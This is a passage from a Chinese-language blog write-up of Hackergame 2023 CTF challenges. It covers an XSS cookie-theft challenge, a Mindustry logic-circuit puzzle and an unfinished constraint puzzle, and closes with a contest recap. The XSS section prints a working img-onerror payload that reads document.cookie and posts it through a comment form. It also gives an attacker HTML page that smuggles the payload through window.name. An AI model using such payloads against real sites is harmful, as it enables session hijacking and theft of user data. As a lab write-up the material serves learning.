然后喵喵反复试了老半天,本来的思路是利用 iframe 或者 window.open 在一个新窗口里把 cookie 渲染到界面上,然后通过某种交互方式/中间途径去把页面上渲染出来的 cookie 读回来,在自己的页面上 CSRF 的方式 POST 到评论

但是发现这样都行不通,只能换一种思路了

那就是全部请求在弹出的窗口上进行,那就还得去执行任意的 js

MDN: Window:open() 方法

w3schools: Window name

发现 open(url, target) 这个 target 有点意思,他在两个页面间共享的,可以作为中间变量来传值!

target可选

  • : 一个不含空格的字符串,用于指定加载资源的浏览上下文的名称。如果该名称无法识别现有的上下文,则会创建一个新的上下文,并赋予指定的名称。还可以使用特殊的 target 关键字_self_blank_parent_top

该名称可用作 <a><form> 元素的 target 属性。

先打个 payload 过去,然后先给 name 也就是 window.name 赋值

"+name+"

然后借助这个 name,因为会直接写入到 html 里,于是可以插入任意恶意的 js,当然动态写入到 html 里的 script 标签不会执行,需要用 img svg 这种通过报错等途径来执行 js

可行!

于是构造 payload

<img src=# onerror="document.forms[0].comment.value=btoa(document.cookie).slice(0,25);document.forms[0].submit();">

这里喵喵气死了,怎么页面上有两个 id 为 comment 的元素,直接用 document.getElementById('comment') 只能返回上面的那个 p 标签,于是试了老半天发现怎么没值返回,啊啊啊啊啊!!!

最后才发现怎么没给 form 里的 comment 赋值……

btoa 是 base64 一下防止出现奇妙字符被过滤了,后面发现果然(

slice 是因为长度限制

然后 自己的 html

<!DOCTYPE html>
<html lang="en">

<head>
</head>

<body>
    <img src="http://web/?token=114514%3AMiaoTony"
        alt="">
    <script>
        var payload = "<img src=# onerror=\"document.forms[0].comment.value=btoa(document.cookie).slice(50,75);document.forms[0].submit();\">"
        var w = window.open("http://web/result", payload);
        console.log(w);
    </script>
</body>

</html>
EOF

需要多次反复打,先打 POST "+name+",然后让 bot 访问,然后自己 GET 拿 flag 一部分,再改 slice 反复

依次得到

ZmxhZz1mbGFnJTdCeDU1X3N0a
WxsX2FsaXZlJTI2JTNEJTNFXy
UzQytfYjllZGI1Mjc2NiU3RA=


BTW,查资料的时候发现一些有意思的

在新开页面里调用 opener.location 设置成一个新的带 hash 的值,会使原来的页面跳转到新的地址去

演示 demo: http://test.attacker-domain.com/sopresearch/windowopen.html

This is testing window.open(url, “victimFrame”) with a specific target iframe inside of the victim’s page, and the victim is expecting the URL opened in the target frame. Unfortunately, if the victim page is framed with the same name (e.g. “victimFrame”) plus a javascript URL, the window.open call would navigate the victim page itself instead of its frame and the JavaScript is going to execute in the victim page’s domain

也就是说如果这个 name 冲突而且正好在外层 window 上有的话,在 iframe 里面打开一个 javascript:xxx URL 是会在父框架上执行 js 的

异星歧途

你降落在荒废星球的角落,开始新的征程,但从科技树底层一步步发展总是令人不快。幸运的是,在看似荒废的土地上仍然留存着高级文明的痕迹:你找到一台冲击反应堆——如果它工作起来,就可以获得用之不尽的电力——尽管它现在没有启动,并且控制工作条件的部件和工厂被 32 个按钮和相连的逻辑系统牢牢掌控。

于是:你的任务是在不进行任何其他操作的情况下拨动这 32 个按钮,使冲击反应堆能够稳定运行

请点击下方的「打开/下载题目」按钮,下载题目文件。题目文件对应的 Mindustry 版本为 7.0 Build 146。打开游戏后依次选择 地图编辑器—加载地图—选择题目文件 the_planet.msav —返回主菜单,然后选择 开始游戏—自定义游戏—选择导入的名为 the planet 的地图—不改变任何选项点击开始游戏 。开启后的游戏界面如下图,按钮已经用红框标出:

将正确的按钮序列以 01 序列的形式提交至 检查网站nc 202.38.93.111 10071 获得 flag。按钮未按下(即游戏开始时默认状态)用 0 表示,按下(即点击按钮后按钮颜色变亮)用 1 表示,顺序从左到右。

提示:在游戏主菜单选择 设置—图形—显示建筑状态 可以开启建筑状态显示(即图片中建筑右下角的菱形),这可能有助于解题。

提示:为了完成目标,你可能需要以特定的顺序拨动这些按钮,但这不影响结果:只有唯一一组按钮组合能满足要求。如果在满足要求后再次改变按钮,冲击反应堆可能会继续运行一段时间,但会在 1-3 分钟后停止,不可能稳定运行

游戏源代码在 GitHub 开源: https://github.com/Anuken/Mindustry

微型处理器

逻辑处理器

4个处理器,看起来就各种逻辑电路?数字电路类似物

感觉界面有点像 Scratch 那个图形化编程语言,不过可以点击编辑,然后导出逻辑到剪贴板

(但是还不如结合着界面上的来看

sensor s1 switch1 @enabled
sensor s2 switch2 @enabled
sensor s3 switch3 @enabled
sensor s4 switch4 @enabled
sensor s5 switch5 @enabled
sensor s6 switch6 @enabled
sensor s7 switch7 @enabled
sensor s8 switch8 @enabled
jump 18 equal s1 false
jump 18 equal s2 true
jump 18 equal s3 false
jump 18 equal s4 true
jump 18 equal s5 true
jump 18 equal s6 false
jump 18 equal s7 true
jump 18 equal s8 false
control enabled generator1 1 0 0 0
end
control enabled generator1 0 0 0 0
end


sensor sw1 switch1 @enabled
sensor sw2 switch2 @enabled
sensor sw3 switch3 @enabled
sensor sw4 switch4 @enabled
sensor sw5 switch5 @enabled
sensor sw6 switch6 @enabled
sensor sw7 switch7 @enabled
sensor sw8 switch8 @enabled
op shl t sw1 7
set number t
op shl t sw2 6
op add number number t
op shl t sw3 5
op add number number t
op shl t sw4 4
op add number number t
op shl t sw5 3
op add number number t
op shl t sw6 2
op add number number t
op shl t sw7 1
op add number number t
set t sw8
op add number number t
set en 0
set i 0
jump 33 greaterThanEq i 16
op pow fl0 i 2
jump 31 notEqual fl0 number
set en 1
jump 33 always x false
op add i i 1
jump 26 always x false
op equal fl1 0 sw1
op equal fl2 0 sw6
op or fl3 fl1 fl2
jump 38 equal fl3 0
set en 0
control enabled generator1 en 0 0 0
control enabled panel1 en 0 0 0
end


set links @links
set thisLink 0
getlink currentTurret thisLink
radar player any any distance currentTurret 1 me
sensor x me @shootX
sensor y me @shootY
control shoot currentTurret x y 0 0
op add thisLink thisLink 1
jump 2 lessThan thisLink links
end


sensor sw1 switch1 @enabled
sensor sw2 switch2 @enabled
sensor sw3 switch3 @enabled
sensor sw4 switch4 @enabled
sensor sw5 switch5 @enabled
sensor sw6 switch6 @enabled
sensor sw7 switch7 @enabled
sensor sw8 switch8 @enabled
sensor sw9 switch9 @enabled
control enabled conveyor2 sw1 0 0 0
control enabled gate1 sw2 0 0 0
op equal nsw3 sw3 0
control enabled reactor1 nsw3 0 0 0
control enabled reactor2 nsw3 0 0 0
control enabled conduit1 sw4 0 0 0
control enabled conduit2 sw4 0 0 0
control enabled mixer1 sw5 0 0 0
control enabled extractor1 sw6 0 0 0
control enabled meltdown1 sw7 0 0 0
control enabled meltdown2 sw7 0 0 0
op equal result sw8 sw9
jump 28 equal result true
control enabled mixer1 0 0 0 0
control enabled conduit2 1 0 0 0
control enabled reactor1 1 0 0 0
control enabled reactor2 1 0 0 0
control enabled conveyor2 1 0 0 0
wait 5
end


sensor t switch1 @enabled
control enabled source1 t 0 0 0
sensor t switch2 @enabled
control enabled source2 t 0 0 0
sensor t switch3 @enabled
control enabled source3 t 0 0 0
sensor t switch4 @enabled
control enabled source4 t 0 0 0
sensor t switch5 @enabled
control enabled source5 t 0 0 0
sensor t switch6 @enabled
control enabled source6 t 0 0 0
sensor t switch7 @enabled
control enabled source7 t 0 0 0
sensor t switch8 @enabled
control enabled source8 t 0 0 0

Mindustry Wiki: Logic - Glossary

手动解一下

# Stage 1
# 10100101

# Stage 2 伪代码
number = sw1 << 7 + sw2 << 6 + sw3 << 5 + ... + sw8
i = en = 0
while True:
    if i >= 16:
# AAA:
        fl1 = sw1 == 0
        fl2 = sw6 == 0
        fl3 = fl1 | fl2
        if fl3 == 0:
            generator1 = en
            panel1 = en
        else:
            en = 0
    else:
        fl0 = i ** 2
        if fl0 != number:
            i += 1
        else:
            en = 1
            # goto AAA

# Stage 2
# 12345678
# 1....1..
# 14*14
# 11000100

# Stage 3
# 12345678
# 10001100

# Stage 4
# 01110111


# 10100101110001001000110001110111

要保证冷却水和冷却液正常工作,反向溢流门不能关,不然料进不来

最后成功稳定运行

flag{B34WarE_0f_#xp1osi0N_xxxxx}

小 Z 的谜题

方程之中

变量如锁链相扣

约束交织成网

组合间蕴藏古老的秘密

在变量的森林中追寻

足迹遍历每一个角落

在约束的花丛中舞蹈

影子覆盖每一寸土地

和谐之美指引着方向

我们终将找到自己的答案

下载题目源代码

你可以通过 nc 202.38.93.111 10098 来连接,或者点击下面的「打开/下载题目」按钮通过网页终端与远程交互。

这段Python代码实现了一个基于约束的排列问题。以下是代码的中文解释:

  1. 设定一个边界bound为5,这意味着在排列中的数字需要在0到5之间。
  2. 定义了一系列的约束条件constraints,每个约束包含三个数字。
  3. count数组表示每种约束需要满足的次数。
  4. 计算所有约束的总数num_constraints和每个约束的维度num_dims
  5. 初始化一个三维数组arrange来存放数字排列,其结构与约束条件相符。
  6. 请求用户输入一个字符串s,该字符串由一系列数字组成。
  7. 使用迭代器读取用户输入的字符串,根据constraints的结构填充arrange数组。在填充过程中,如果第三个数字为2,则将其设置为-1;否则从字符串中读取数字并校验其在0到bound之间。
  8. 检查arrange数组是否已按特定顺序排列,如果是则通过第一阶段。
  9. 检查arrange数组中的每个元素是否至少在一个维度上与其他所有元素不重叠,如果是则通过第二阶段。
  10. 对于arrange数组中的每个元素,检查它是否满足constraints中定义的一个约束条件,并相应地减少count数组中的计数。
  11. 确认所有的count都已经减到0,如果是则通过第三阶段。
  12. 计算得分score,即在所有可能的排列中不同的(x, y, z)组合的数量。
  13. 根据得分score的值,读取并显示不同的标志信息。如果得分大于等于157,显示/flag3;如果得分小于等于136,显示/flag2;否则,显示/flag1

这是一个涉及到了迭代器、断言和多维数组处理的复杂脚本,主要用于验证用户输入的字符串是否能够在给定的边界和约束条件下生成一个有效的数字排列。

想 Z3-solver 一把梭(

怎么一觉醒来比赛结束了,后面再补吧(呜呜

小结

完结撒花!

呜呜,可能是最后一年打 HG 啦,😹要跑路啦!

本来一堆事情说不看的怎么又来看题了

今年 rk 40 / 2386,应该比往年高(乐

总榜

完成情况

排名及分数变化曲线

今年感觉题目比往年整体简单,基础的题目比较多,分差也不大,榜上瞄了眼都是群友,仰望.jpg

甚至没打过 CTF 的群友都能把喵喵超了,震惊! (当然 hackergame 和 CTF 还是有挺大区别的

这个时间段事情挺多,基本只有几个晚上抽时间来看看题,最后一晚上还通宵到早上了,太困了,呼呼~

说来今年题目的整体顺序也是按照梯度来设计的,后面几题主要是 math、binary、blockchain 的题目,难度稍微大一些,不过时间有限,本来比赛中还想做做 math 题的,但是发现这周过得也太快了怎么感觉比赛刚开始就要结束了……

总之,和往年一样,比赛过程中也学到了许多!


另外,今年继续以 你寄 校队的名义拉了协办

不过可能因为咱刚办完持续一个月的新生赛,大家做吐了没啥人来玩 hackergame 了(摊手

协办

幕后工作人员都辛苦了!

这也是喵喵最后一年参与协办联络对接了捏,希望之后还有学弟学妹来接手,🐱真要跑路啦!

祝喵喵早日毕业!以及,想要好 offer!(怎么就要成社畜打工人了啊,呜呜

喵呜!

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
 上一篇
HomeLab | 4 GPU 硬解新境界:LXC 环境下玩转 JellyFin 核显硬解转码 HomeLab | 4 GPU 硬解新境界:LXC 环境下玩转 JellyFin 核显硬解转码
在PVE里基于LXC安装JellyFin,并利用GPU核显实现硬解加速转码。本文具体介绍了相关配置步骤,大大提升了homelab观影性能和体验感。
2023-11-26
下一篇 
HomeLab | 3 下载观影一条龙:NASTool/JellyFin/qBittorrent 半自动化家庭影院搭建指北 HomeLab | 3 下载观影一条龙:NASTool/JellyFin/qBittorrent 半自动化家庭影院搭建指北
探索如何使用NASTool、JellyFin和qBittorrent等工具搭建一个高效的半自动化家庭影院系统,实现从下载到播放的无缝体验。
2023-08-08
  目录